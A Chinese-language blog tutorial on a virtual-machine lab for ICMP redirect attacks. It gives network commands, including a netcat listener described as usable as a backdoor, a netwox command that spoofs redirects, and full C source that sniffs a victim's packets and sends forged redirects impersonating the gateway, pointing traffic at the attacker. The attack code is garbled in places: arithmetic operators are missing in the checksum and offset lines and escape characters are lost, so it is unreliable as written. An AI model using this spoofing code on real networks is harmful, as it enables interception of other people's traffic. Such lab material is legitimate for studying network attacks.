网络安全ICMP重定向攻击

2022-10-25 15:34:30 浏览数 (1)

网络安全——ICMP重定向攻击

  • 网络命令
  • 网络工具——netwox
  • 一、实验原理
  • 二、设计代码

网络命令

  1. 网络不可用
代码语言:javascript复制
$ ping ${域名}
$ ping ${ip地址}
$ ifconfig #lo:本地网卡;enss:朝外发包的网卡
$ ifconfig -a #对比上一条结果,查看哪个网卡未开启
$ route #route -n查看本机网络状况
$ netstat -lt #正在监听的tcp端口,-p显示进程号
$ 

第一条是缺省路由,意思是说,当一个数据包的目的网段不在路由记录中,那么,路由器该把那个数据包发送到哪里,缺省路由是由网关default gateway决定的。

第二条是link-local,这个是链路本地地址(link local address),是设备在本地网络中通讯时用的地址,网段为169.254.0.1~169.254.254.255。主要作用是DHCP服务器故障,或者DHCP超时,不致于设备没有IP而造成连接不上。LLA是本地链路的地址,是在本地网络通讯的,不通过路由器转发,因此网关为0.0.0.0。

第三条是直联网段的路由记录:当路由器收到发往直联网段的数据包时该如何处理。因为是本地网络通信,不经过网关,所以是0.0.0.0.

  1. 主机间通信 netcat命令,可以用于扫描端口、后门。
代码语言:javascript复制
$ nc -l 1234 #创建一个监听端口
$ nc ${目的主机IP地址} 1234 
  1. WHOIS(发音为“who is”) 是一种查询和响应协议,广泛用于查询存储了Internet资源注册用户等数据库,例如域名、IP地址块或自治系统 ,但也用于更广泛的其他信息。 该协议以人类可读的格式存储和提供数据库内容。
  2. netstat 在内核中访问网络连接状态及其相关信息的程序

网络工具——netwox

试验机器: Ubantu 18.04.2 LTS VMware Workstation 17

准备工作: 修改VMware Workstation网络适配器模式为桥接模式 ;

一、实验原理

代码语言:javascript复制
$ lsb_release -a
$ cat /proc/version
$ xrandr -s 1024x768

$ sudo apt install net-tools traceroute netwox  #安装net-tools、traceroute、netwox
$ sudo apt-get install wireshark 
$ cat /proc/sys/net/ipv4/conf/all/accept_redirects #打开重定向选项
$ sudo sysctl -w net.ipv4.conf.all.accept_redirects=1 #ip_forward与accept_redirects相反?sysctl命令用于运行时配置内核参数,-w临时修改。

虚拟机1:IP地址192.168.1.108,默认网关地址192.168.1.1 虚拟机2(clone):IP地址192.168.1.107

查找信息:

代码语言:javascript复制
$ route -n #查看路由表
$ sudo netwox 86 -f "host ${被攻击主机ip地址}" -g "${新指定的网关ip地址}" -i "${当前网关ip地址}"
$ sudo wireshark

通过wireshark抓包查看所发出的数据包的源IP是原来的默认网关,而不是攻击者真实的IP。 接下来分析一下ICMP的数据报格式:由于不同Type的数据报有不同的格式,但是它们的首行都是一致的,包含Type、Code、Checksum。

  • ICMP重定向报文,除了ICMP包中的通用头部4字节之外,还包括原始IP头部信息和数据报文的前8个字节(这里是目的地址不可达的ICMP差错信息)。 也即,在构造ICMP重定向包中,除了头部之外,还需要额外的28字节(在IP头部没有可选字段的情况下)。
  • 另外,注意观察,netwox发出的ICMP重定向包的目的IP是受害者正通信的IP,也即,netwox先抓到受害者的数据包,根据捕获包的IP地址,再构造攻击包。 路由器之间会经常交换信息,以适应网络拓扑的变化,保持最优路由。但是主机一般不会这样做。所以,一条基本的原则是:主机会假设路由器的信息更权威,路由器总是对的。

主机在路由设置的时候,最开始只有一条默认的路由信息,然后当,接收到路由器通知它改变路由的时候,会更新自己的路由表。这里的netwox就是通知主机需要更新路由表。

二、设计代码

代码参考:

代码语言:javascript复制
#include <pcap.h> 
#include <linux/ip.h>
#include <linux/icmp.h>
#include <time.h>
#include <stdlib.h>
#include <stdio.h>
#include <netinet/in.h>  
#include <sys/socket.h>
#include <unistd.h>  //对POSIX 操作系统API的访问功能

#define MAX 1024
#define SIZE_ETHERNET 14

const unsigned char *Vic_IP = "192.168.3.185";    //被攻击主机IP
const unsigned char *Ori_Gw_IP = "192.168.3.1";   //原始网关IP
const unsigned char *Redic_IP = "192.168.3.184";  //修改后的网关IP,这里为攻击者IP
int flag = 0;

/* IP 头部 */
struct ip_header  //总长度20字节
{  
#ifdef WORDS_BIGENDIAN  //小端模式高位在低地址; 大端低地址低位高地址高位
	u_int8_t ip_version:4;  
	u_int8_t ip_header_length:4;  
#else  
	u_int8_t ip_header_length:4;  
	u_int8_t ip_version:4;  
#endif  
	u_int8_t  ip_tos;  //服务类型
	u_int16_t ip_length;  //总长度
	u_int16_t ip_id;  //标志
	u_int16_t ip_off;  //分片偏移
	u_int8_t  ip_ttl;  //生存时间
	u_int8_t  ip_protocol;  //协议
	u_int16_t ip_checksum;  //校验和
	struct in_addr ip_source_address;  //in_addr表示32位的IPv4地址的结构体
	struct in_addr ip_destination_address;  
};  

/* icmp redirect 头部 */
struct icmp_header  //
{  
	u_int8_t  icmp_type;  //类型
	u_int8_t  icmp_code;  //代码
	u_int16_t icmp_checksum;  //校验和
	struct in_addr icmp_gateway_addr;

	//u_int16_t icmp_identifier;  //标识符
	//u_int16_t icmp_sequence;  //序列号
};  


/* 计算校验和 */ 
//以字为单位压入双字中,处理双字高16位的溢出部分,最后取反输出校验和 
u_int16_t checksum(u_int8_t *buf,int len)  
{  
	u_int32_t sum=0;  //4字节
	u_int16_t *cbuf;  

	cbuf=(u_int16_t *)buf;  //每两字节二进制相加

	while(len>1)
	{  
		sum =*cbuf  ;  
		len-=2;  //长度的单位是8bit
	}  

	if(len)  
		sum =*(u_int8_t *)cbuf;  

	sum=(sum>>16) (sum & 0xffff);  //将高于16位(右移)与低16位(高位填充0)相加
	sum =(sum>>16);  //如果还有高于16位,将继续与低16位相加

	return ~sum;  //对sum取反(返回的是十进制)
}  


/**
 */
void ping_redirect(int sockfd, const unsigned char *data, int datalen)
{ 
	char buf[MAX], *p;

	struct ip_header   *ip;
	struct icmp_header *icmp;
	
	int len,i;

	struct packet{ //IP报文
		struct iphdr ip;
		struct icmphdr icmp;
		char datas[28];
	}packet;

	//添加IP头部
	packet.ip.version  = 4;
	packet.ip.ihl      = 5; //4B*5
	packet.ip.tos      = 0; //服务类型
	packet.ip.tot_len  = htons(56);
	packet.ip.id       = getpid(); //标志
	packet.ip.frag_off = 0;
	packet.ip.ttl      = 255;
	packet.ip.protocol = IPPROTO_ICMP;
	packet.ip.check    = 0; 
	packet.ip.saddr    = inet_addr(Ori_Gw_IP); //冒充原始网关,inet_addr将点分十进制转换成一个u_long型
	packet.ip.daddr    = inet_addr(Vic_IP);    //被攻击主机

	//添加ICMP头部
	packet.icmp.type       = ICMP_REDIRECT;
	packet.icmp.code       = ICMP_REDIR_HOST;
	packet.icmp.checksum   = 0;
	packet.icmp.un.gateway = inet_addr(Redic_IP);

    //netinet/in.h
	struct sockaddr_in dest =  {
		.sin_family = AF_INET,
		.sin_addr   = {.s_addr = inet_addr(Vic_IP)}
	};

	//从源数据包的内存地址的起始地址开始,拷贝28个字节到目标地址所指的起始位置中
	memcpy(packet.datas, (data   SIZE_ETHERNET), 28);
	packet.ip.check      = checksum(&packet.ip, sizeof(packet.ip));
	packet.icmp.checksum = checksum(&packet.icmp, sizeof(packet.icmp) 28);

	/** 用于非可靠连接的数据数据发送,因为UDP方式未建立SOCKET连接,所以需要自己制定目的协议地址
	 *  发送端套接字描述符
     *  待发送数据的缓冲区
     *  待发送数据长度IP头 ICMP头(8) IP首部 IP前8字节,flag标志位
     *  一般为0
     *  数据发送的目的地址
     *  地址长度
     */
	sendto(sockfd, &packet, 56, 0, (struct sockaddr *)&dest, sizeof(dest));

	printf("send packet...n");
}


/** pcap_loop 用到的回调函数 
 *  userarg:pcap_loop最后一个参数
 *  pkthdr:收到的数据包的pcap_pkthdr类型的指针
 *  packet:收到的数据包数据。
            第一个参数是回调函数的最后一个参数,第二个参数是pcap.h头文件定义的,包括数据包被嗅探的时间大小等信息,最后一个参数是一个u_char指针,它包含被pcap_loop()嗅探到的所有包,是一个结构体的集合。
 */
void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
{
	int sockfd, res; //sockfd是socket描述符
	int one = 1;
	int *ptr_one = &one;

	/** int socket(int domain, int type, int protocol);确定构造的是ICMP数据包
     *  domain:设置网络通信的域,函数据此选择通信协议的族(sys/socket.h)
     *          这里AF_INET对应IPv4协议,PF_UNIX为本地通信,PF_INET6为IPv6协议
     *  type:设置套接字通信的类型
     *        SOCK_STREAM:双向流式套接字,TCP连接。connect-read-write
     *        SOCK_DGRAM :数据包套接字,提供原始网络协议访问。sendto-recvfrom
     *        SOCK_DGRAM :UDP连接,无连接状态的消息。sendto-recvform
     *  protocol:制定某个协议的特定类型,即type类型中的某个类型
     *            0:只有一种特定类型
     *  返回值:标识这个套接字的文件描述符,失败返回-1
     */
	if((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP))<0)
	{
		printf("***** create sockfd error *****n");
		exit(-1);
	}


    /** 用于任意类型、任意状态套接口的设置选项值(socket.h),这里因为上面的Socket类型选择了IPPROTO_ICMP,需要自行定义头部,否则系统会默认生成IP地址为本机的头部,构造出来的ICMP包无法构成重定向攻击。如果是IPPROTO_RAW则可以不用此函数。
     *  s:标识要给套接字的描述符
     *  level:指定选项代码的类型
     *         SOL_SOCKET  :基本套接口
     *         IPPROTO_IP  :IPv4套接口
     *         IPPROTO_IPV6:IPv6套接口
     *         IPPROTO_TCP :TCP套接口
     *  optname:需设置的选项的名称
     *  optval:指向存放选项值的缓冲区的指针
     *  optlen:optval缓冲区长度
     *  返回值int:标志打开或关闭某个特征的二进制选项
     */
	res = setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, ptr_one, sizeof(one));
	if(res < 0)
	{
		printf("***** setsockopt error *****n");
		exit(-3);
	}

	//填充数据部分
	ping_redirect(sockfd, packet, 0);

}


int main()
{
	char errBuf[PCAP_ERRBUF_SIZE], * devStr;

	/** 查找网络设备
	 *  返回可被调用的网络折别名指针,errBuf存放出错信息字符串
	 * */
	devStr = pcap_lookupdev(errBuf); 
	
	if(devStr)
	{
		printf("running...n- device of my computer: %sn", devStr);
	}
	else
	{
		printf("run error: %sn", errBuf);
		exit(1);
	}


	/** 打开一个用于捕获数据的网络接口 
	 *  device: 网络接口字符串,也可人为指定
     *  snaplen:捕获数据包的长度,最大65535字节
     *  promise:1表示混杂模式
     *  to_ms:  需要等待的毫秒数,超过后函数立即返回
     *  ebuf:   存放错误信息
     *  返回值pcap_t:pcap_t类型指针,后面操作都要用到该指针(文件句柄)
	 * */
	pcap_t * device = pcap_open_live(devStr, 65535, 1, 0, errBuf);  
    printf("- device of pcap_open_live() is: %sn", device);
    if (device == NULL)
        printf("- error: %sn", errBuf);


    /** 制定过滤规则
     *  该攻击中删除与否无所谓,添加此过滤规则只是为了限定处理包的类型,提高效率
     */
	struct bpf_program filter;
	char filterstr[50]={0};
	sprintf(filterstr,"src host %s",Vic_IP); //规则语法:设置包的源ip为被攻击者IP,对应netwox 86 -f "${filterstr}"

	/** 将用户制定的过滤策略编译到过滤程序中
     *  p:pcap会话句柄
     *  fp:存放编译后的规则
     *  str:规则表达式
     *  optimize:指定优化选项,1true,0false
     *  netmask:舰艇接口的网络掩码
     *  返回值int:失败返回-1,成功返回其他值
	 * */
	pcap_compile(device,&filter,filterstr,1,0);
	

	/** 设置过滤器
	 * */
	pcap_setfilter(device,&filter);
	

	/** 循环捕获网络数据包,直至遇到错误或满足退出条件,每次捕获都会调用callback指定的回调函数,可以在该函数中进行数据包的处理操作
	 *  p:pcap_open_live()返回的pcap_t类型的指针
     *  cnt:指定捕获数据包的个数,-1直至错误
     *  callback:回调函数,自命名
     *  user:向回调函数中传递的参数
     *  返回值int:成功返回0,失败返回负数
	 * */
	int id = 0;
	pcap_loop(device, -1, getPacket, NULL);


	/** 关闭并释放资源
	 */
	pcap_close(device);
	
	return 0;
}

编译:

代码语言:javascript复制
sudo apt install libpcap-dev
gcc ICMPAttack.c -lpcap -o ICMPAttack
sudo ./ICMPAttack #必须要sudo

抓到的数据包如下:这里直接将攻击对象改成了本地主机,IP地址可能与上面对应不上。

参考博客: pcap相关函数: https://blog.csdn.net/tennysonsky/article/details/44811899 socket函数: https://blog.csdn.net/mpp_king/article/details/80222304

0 人点赞